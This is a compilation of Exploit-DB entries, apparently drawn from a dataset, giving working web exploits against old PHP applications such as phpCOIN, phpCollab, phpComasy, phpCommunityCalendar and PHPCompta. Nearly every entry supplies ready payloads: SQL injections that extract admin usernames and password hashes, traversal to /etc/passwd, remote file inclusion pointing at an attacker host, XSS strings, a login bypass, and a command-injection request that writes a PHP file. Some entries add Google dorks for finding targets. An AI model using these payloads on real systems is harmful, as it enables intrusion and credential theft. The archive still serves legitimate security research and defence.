deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33718
Description: phpCOIN 1.2.1 - 'mod' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-06
Author: _mlk_

Exploit:
source: https://www.securityfocus.com/bid/38576/info

phpCOIN is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

phpCOIN 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/phpcoin/mod.php?mod=/../../../../../../proc/self/environ%00
Exploit-DB #11565
Description: PHPCOIN 1.2.1 - 'mod.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-24
Author: BAYBORA

Exploit:
phpCOIN 1.2.1 (mod.php) SQL Injection  Vulnerability 
  
###########################
  
Author    : Baybora

Homepage  : http://www.1923turk.com 

Blog      : http://baybora.wordpress.com/ 

Script    : phpCOIN 1.2.1

Download  : http://www.phpcoin.com/
  
###########################  
    
[ Vulnerable File ]

mod.php?mod=faq&mode=show&faq_id= [ SQL ]
     

[ XpL ]
  
-1+UNION+SELECT+1,2,3,4,5,6,7,concat(admin_user_name,0x3a,admin_user_pword),9,10,11,12,13,14,15,16+from+phpcoin_admins--


[ Demo]
    
    
http://serverbilling/mod.php?mod=faq&mode=show&faq_id=-1+UNION+SELECT+1,2,3,4,5,6,7,concat(admin_user_name,0x3a,admin_user_pword),9,10,11,12,13,14,15,16+from+phpcoin_admins--
    
   
##############################################################  
# Greetz: Manas58 - Gamoscu - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO  
##############################################################
Exploit-DB #26788
Description: PHPCOIN 1.2.2 - '/includes/db.php?$_CCFG[_PKG_PATH_DBSE]' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-12-13
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15831/info
 
PhpCOIN is prone to a file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit this issue to include arbitrary remote PHP code and execute it in the context of the Web server process. The attacker can also exploit this issue to include arbitrary local files through the use of directory traversal strings '../'.
 
Successful exploitation may lead to a compromise of the underlying system; other attacks are also possible. 

http://www.example.com/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../etc/passwd%00
http://www.example.com/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../script.php%00
Exploit-DB #26787
Description: phpCOIN 1.2.2 - CCFG[_PKG_PATH_DBSE] Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-12-13
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15831/info

PhpCOIN is prone to a file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote PHP code and execute it in the context of the Web server process. The attacker can also exploit this issue to include arbitrary local files through the use of directory traversal strings '../'.

Successful exploitation may lead to a compromise of the underlying system; other attacks are also possible. 

http://www.example.com/[path]/config.php?_CCFG[_PKG_PATH_DBSE]=http://www.example.com
Exploit-DB #2254
Description: PHPCOIN 1.2.3 - 'session_set.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-24
Author: Timq

Exploit:
phpCOIN 1.2.3 (_CCFG[_PKG_PATH_INCL]) Remote Include Vulnerability

##################################################################

Discovered by: Timq
http://www.securitydb.org
##################################################################

Email: timq[at]hackernetwork[dot]com

http://www.securitydb.org
##################################################################

Vulnerable: require_once include ($_CCFG['_PKG_PATH_INCL'].'redirect.php');

###################################################################

Exploit PoC:

http://www.site.com/[path]/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=http://evil_script?
http://www.site.com/[path]/includes/constants.php?_CCFG[_PKG_PATH_INCL]=http://evil_script?

Dork: Powered By phpCOIN 1.2.3
####################################################################

Shoutz: Warpboy,Z66,Gammarays,Archangel,BliTz,Splinter,InTel,ErazerZ,Maggot,PunKerX,Infiltration

#####################################################################

# milw0rm.com [2006-08-24]
Exploit-DB #37004
Description: PHPCollab 2.5 - 'deletetopics.php' SQL Injection
Type: webapps
Platform: php
Date: 2015-05-13
Author: Wadeek

Exploit:
# Exploit Title: PHPCollab 2.5 - SQL Injection
# Google Dork: filetype:php inurl:"/general/login.php?PHPSESSID="
# Date: 13/05/2015
# Exploit Author: Wad Deek
# Vendor Homepage: http://www.phpcollab.com/
# Software Link: http://sourceforge.net/projects/phpcollab/files/final/2.5/
# Version: 2.5
+>2.5<+ --> /docs/changes.txt
+>2.5<+ --> /docs/readme.txt
# Tested on: Xampp on Windows7
###################################################################################
PoC = http://127.0.0.1/phpcollab/topics/deletetopics.php?project=%27
###################################################################################
#=====================================================
require('mechanize')
agent = Mechanize.new()
agent.redirect_ok = false
agent.verify_mode = OpenSSL::SSL::VERIFY_NONE
#=====================================================
begin
html = agent.get("http://127.0.0.1/phpcollab/topics/deletetopics.php?project=%27")
rescue
else
puts(html.body())
end
#=====================================================
Exploit-DB #37315
Description: PHPCollab 2.5 - 'uploadfile.php' Crafted Request Arbitrary Non-PHP File Upload
Type: webapps
Platform: php
Date: 2012-05-24
Author: team ' & 1=1--

Exploit:
source: https://www.securityfocus.com/bid/53675/info

phpCollab is prone to an unauthorized-access and an arbitrary-file-upload vulnerabilities.

Attackers can leverage these issues to gain unauthorized access to application data and to upload and execute arbitrary code in the context of the application.

phpCollab 2.5 is vulnerable; other versions may also be affected. 

POST
/phpcollab/projects_site/uploadfile.php?PHPSESSID=f2bb0a2008d0791d1ac45a8a3
8e51ed2&action=add&project=&task= HTTP/1.1
Host: 192.0.0.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:9.0.1)
Gecko/20100101 Firefox/9.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
DNT: 1
Proxy-Connection: keep-alive
Cookie: PHPSESSID=6cvltmkam146ncp3hfbucumfk6
Referer: http://192.0.0.2/
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]63613512
Content-Length: 29914

----------------------------[PII_REDACTED][PII_REDACTED]63613512
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000000
----------------------------[PII_REDACTED][PII_REDACTED]63613512
Content-Disposition: form-data; name="maxCustom"


----------------------------[PII_REDACTED][PII_REDACTED]63613512
Content-Disposition: form-data; name="commentsField"

Hello there
----------------------------[PII_REDACTED][PII_REDACTED]63613512
Content-Disposition: form-data; name="upload"; filename="filename.jpg"
Content-Type: image/jpeg
file data stripped
----------------------------[PII_REDACTED][PII_REDACTED]63613512
Content-Disposition: form-data; name="submit"

Save
----------------------------[PII_REDACTED][PII_REDACTED]63613512--
Exploit-DB #37309
Description: phpCollab 2.5 - Database Backup Information Disclosure
Type: webapps
Platform: php
Date: 2012-05-23
Author: team ' & 1=1--

Exploit:
source: https://www.securityfocus.com/bid/53656/info

phpCollab is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data.

An attacker can exploit this issue to download backup files that contain sensitive information. Information harvested may aid in launching further attacks.

phpCollab 2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/phpcollab/includes/phpmyadmin/tbl_dump.php
POST DATA:
table_select%5B%5D=assignments&table_select%5B%5D=bookmarks&table_select%5B
%5D=bookmarks_categories&table_select%5B%5D=calendar&table_select%5B%5D=fil
es&table_select%5B%5D=invoices&table_select%5B%5D=invoices_items&table_sele
ct%5B%5D=logs&table_select%5B%5D=members&table_select%5B%5D=newsdeskcomment
s&table_select%5B%5D=newsdeskposts&table_select%5B%5D=notes&table_select%5B
%5D=notifications&table_select%5B%5D=organizations&table_select%5B%5D=phase
s&table_select%5B%5D=posts&table_select%5B%5D=projects&table_select%5B%5D=r
eports&table_select%5B%5D=services&table_select%5B%5D=sorting&table_select%
5B%5D=subtasks&table_select%5B%5D=support_posts&table_select%5B%5D=support_
requests&table_select%5B%5D=tasks&table_select%5B%5D=teams&table_select%5B%
5D=topics&table_select%5B%5D=updates&what=data&drop=1&asfile=sendit&server=
1&lang=en&db=phpcollab
Exploit-DB #37316
Description: phpCollab 2.5 - Direct Request Multiple Protected Page Access
Type: webapps
Platform: php
Date: 2012-05-24
Author: team ' & 1=1--

Exploit:
source: https://www.securityfocus.com/bid/53675/info
 
phpCollab is prone to an unauthorized-access and an arbitrary-file-upload vulnerabilities.
 
Attackers can leverage these issues to gain unauthorized access to application data and to upload and execute arbitrary code in the context of the application.
 
phpCollab 2.5 is vulnerable; other versions may also be affected. 

curl -i http://www.example.com/phpcollab/administration/phpinfo.php
Exploit-DB #8962
Description: PHPCollegeExchange 0.1.5c - 'listing_view.php?itemnr' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-15
Author: SirGod

Exploit:
#################################################################################################################
[+] phpCollegeExchange 0.1.5c (listing_view.php itemnr) SQL Injection Vulnerability
[+] Discovered By SirGod 
[+] www.mortal-team.org
#################################################################################################################

[+] Script homepage : http://phpcollegeex.sourceforge.net/

[+] SQL Injection 

   http://127.0.0.1/[path]/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(email,0x3a,0x3a,0x3a,password),5,6,7,8,9,10+from+users--

#################################################################################################################

# milw0rm.com [2009-06-15]
Exploit-DB #5209
Description: phpComasy 0.8 - 'mod_project_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-01
Author: Cr@zy_King

Exploit:
By Cr@zy_King / crazy_kinq@hotmail.co.uk

phpComasy 0.8 (mod_project_id) Remote Sql Ä°nj. Vuln

Script Down : http://www.phpcomasy.com/index.php?id=7&mod_action=project_detail&mod_project_id=9

Page : index.php?id=7&mod_action=project_detail&mod_project_id=Sql.

Exp : -9+union+select+1,2,concat(username,0x3a,password,0x3a,email),4,5,6,7+from+user

Not : HiÃ§kimse Kendini pahalÄ± Zannetmesin Hepinizin Ä°ndirim GÃ¼nÃ¼nÃ¼ Biliyorum ;)

Hackshow.us / Hack Bir Showdur.

Greatz : Eno7 - Crackers_Child - Thehacker - Ghost61 - Tilkiandre - Edoras - The_Bekir - DreamTurk

Special Greatz : str0ke and SuSkun (since 2003 :) HoÅŸgeldin Suskun Abi.

# milw0rm.com [2008-03-01]
Exploit-DB #8220
Description: phpComasy 0.9.1 - 'entry_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-16
Author: boom3rang

Exploit:
###################################################
phpComasy(entry_id) SQL-injection Vulnerability
###################################################


###################################################
#[~] Author        :  boom3rang 
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de
#[~] Vulnerability :  SQL injection 
#[~] Google Dork   :  N/W
--------------------------------------------------
#[!] Name          :  phpComasy   
#[!] Site          :  www.phpcomasy.com
#[!] Download      :  http://www.phpcomasy.com/index.php?id=7&mod_action=project_detail&mod_project_id=9
###################################################


[-] Example: 
http://localhost/Path/?id=22&entry_id=[SQL-injection]

[-] Exploit:
-9999+union+all+select+1,concat(username,char(58),password),3,4+from+user--
or
-9999+union+all+select+1,concat(username,char(58),password),3,4,5,6,7,8,9,0,11,12,13,14+from+user--&mod_action=detail

LiveDemo:
http://demo.phpcomasy.com/?id=22&entry_id=-9999+union+all+select+1,concat(username,char(58),password),3,4+from+user--&mod_action=detail

##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2009-03-16]
Exploit-DB #8185
Description: phpCommunity 2.1.8 - SQL Injection / Directory Traversal / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-03-09
Author: Salvatore Fresta

Exploit:
*******   Salvatore "drosophila" Fresta   *******

[+] Application: phpCommunity 2
[+] Version: 2.1.8
[+] Website: http://sourceforge.net/projects/phpcommunity2/

[+] Bugs: [A] Multiple SQL Injection
          [B] Directory Traversal
          [C] Reflected XSS

[+] Exploitation: Remote
[+] Date: 07 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


This web application presents several vulnerabilities
which can be exploited to obtain reserved information.
The following are examples of vulnerabilities 
discovered in this application.


- [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: module/forum/class_forum.php
                   module/forum/class_search.php

This bug allows a guest to view username and
password of a registered user.


- [B] Directory Traversal

[-] Requisites: none
[-] File affected: module/admin/files/show_file.php,
                   module/admin/files/show_source.php

This bug allows a guest to read arbitrary files and 
directory on the web server.


- [C] Reflected XSS

[-] Requisites: none
[-] File affected: templates/1/login.php


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/index.php?n=guest&c=0&m=forum&s=1&forum_id=-1' UNION ALL SELECT 1,2,CONCAT(nick, 0x3a, pwd),4,5,6,7,8 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=forum&s=2&forum_id=0&topic_id=-1' UNION ALL SELECT GROUP_CONCAT(CONCAT(nick, 0x3a, pwd)) FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=id&wert=-1%25" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=nick&wert=-1%25" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=forum&wert=-1%25" UNION ALL SELECT 1,2,3,4,CONCAT(nick, 0x3a, pwd),6 FROM com_users%23


- [B] Directory Traversal

http://www.site.com/path/module/admin/files/show_file.php?file=../../../../../../../../etc/passwd

http://www.site.com/path/module/admin/files/show_source.php?path=/etc


- [C] Reflected XSS

http://www.site.com/path/templates/1/login.php?msg=<script>alert('XSS');</script>


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-03-09]
Exploit-DB #26232
Description: phpCommunityCalendar 4.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-09-07
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14767/info

phpCommunityCalendar is prone to multiple remote cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[path]/thankyou.php?LocationID="><script>alert('LOL')</script>
http://www.example.com/[path]/calDaily.php?font="><script>alert('LOL')<script><"
http://www.example.com/[path]/calMonthly.php?font="><script>alert('LOL'</script><"
http://www.example.com/[path]/calMonthlyP.php?font="><script>alert('LOL')</script><"
http://www.example.com/[path]/calWeekly.php?font="><script>alert('LOL')</script><"
http://www.example.com/[path]/calWeeklyP.php?font="><script>alert('LOL')</script><"
http://www.example.com/[path]/calYearly.php?font="><script>alert('LOL')</script><"
http://www.example.com/[path]/calYearlyP.php?font="><script>alert('LOL')</script><"
http://www.example.com/[path]/day.php?font="><script>alert('LOL')</script><!--
http://www.example.com/[path]/day.php?LocationID="><script>alert('LOL')</script><!--
http://www.example.com/[path]/event.php?font="><script>alert('LOL')</script>
http://www.example.com/[path]/event.php?CeTi=</title><script>alert('LOL')</script>
http://www.example.com/[path]/event.php?Contact=<script>alert('LOL')</script>
http://www.example.com/[path]/event.php?Description=<script>alert('LOL')</script>
http://www.example.com/[path]/event.php?ShowAddress=<script>alert('LOL')</script>
http://www.example.com/[path]/week.php?font="><script>alert('LOL')</script>
Exploit-DB #26229
Description: phpCommunityCalendar 4.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-09-07
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14763/info

phpCommunityCalendar is prone to multiple SQL injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input before being used in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/[path]/webadmin/login.php and use this:

login: ' or isnull(1/0) /*
password: [nothing here]
Exploit-DB #1818
Description: phpCommunityCalendar 4.0.3 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2006-05-23
Author: X0r_1

Exploit:
##################################################################################
#<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<#
##################################################################################
#										 #
#	 phpCommunityCalendar 4.0.3 Multiple Vulnerabilites		         #
#										 #
##################################################################################
#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>#
##################################################################################
#										 #
#  author      : X0r_1   							 #
#  release     : 23.05.06							 #
#  software    : http://www.appideas.com/	  				 #
#  googledork  : "Calendar programming by AppIdeas.com" filetype:php   		 #
#										 #
##################################################################################

XSS:

http://[SERVER]/[PATH]/week.php?LoName=<script>alert('XSS')</script>

http://[SERVER]/[PATH]/month.php?LoName=<script>alert('XSS')</script>

http://[SERVER]/[PATH]/event.php?AddressLink="><script>alert('XSS')</script><"


SQL Injections:

http://[SERVER]/[PATH]/month.php?query=CalendarDetailsID=-1) UNION SELECT Password,0 FROM phpcalendar_adminusers WHERE AdminUserID = 1/*

http://[SERVER]/[PATH]/day.php?query=CalendarDetailsID=-1) UNION SELECT Password,0 FROM phpcalendar_adminusers WHERE AdminUserID = 1/*

http://[SERVER]/[PATH]/event.php?ID=(1=1) [SQL]

http://[SERVER]/[PATH]/admin/delCalendar.php?CalendarDetailsID=x'[SQL]

http://[SERVER]/[PATH]/admin/delAdmin.php?AdminUserID=x' [SQL]

http://[SERVER]/[PATH]/admin/delAddress.php?EventLocationID=x' [SQL]

http://[SERVER]/[PATH]/admin/delCategory.php?LocationID=x' [SQL]

# milw0rm.com [2006-05-23]
Exploit-DB #34861
Description: PHPCompta/NOALYSS 6.7.1 5638 - Remote Command Execution
Type: webapps
Platform: php
Date: 2014-10-02
Author: Portcullis

Exploit:
Vulnerability title: Remote Command Execution in PHPCompta/NOALYSS
CVE: CVE-2014-6389
Vendor: PHPCompta
Product: PHPCompta/NOALYSS
Affected version: 6.7.1 5638
Fixed version: 6.7.2
Reported by: Jerzy Kramarz

Details:

PhpCompta 6.7.1-2 does not validate the syntax of the commands when processing backup requests from users. It is possible to abuse the 'd' parameter to inject additional parameters that will then be passed via the php passthru() function to create a backup file, which will subsequently be executed. The proof of concept below will create a file 'exploit.php' in the root directory of the application, which will execute phpinfo() function when called.

GET /phpcompta/backup.php?sa=b&t=m&d=123;%20echo%20%22%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%22%20>%20exploit.php HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=3nckv75pburv54tm2iq79dfgl6
Connection: keep-alive

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-6389/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.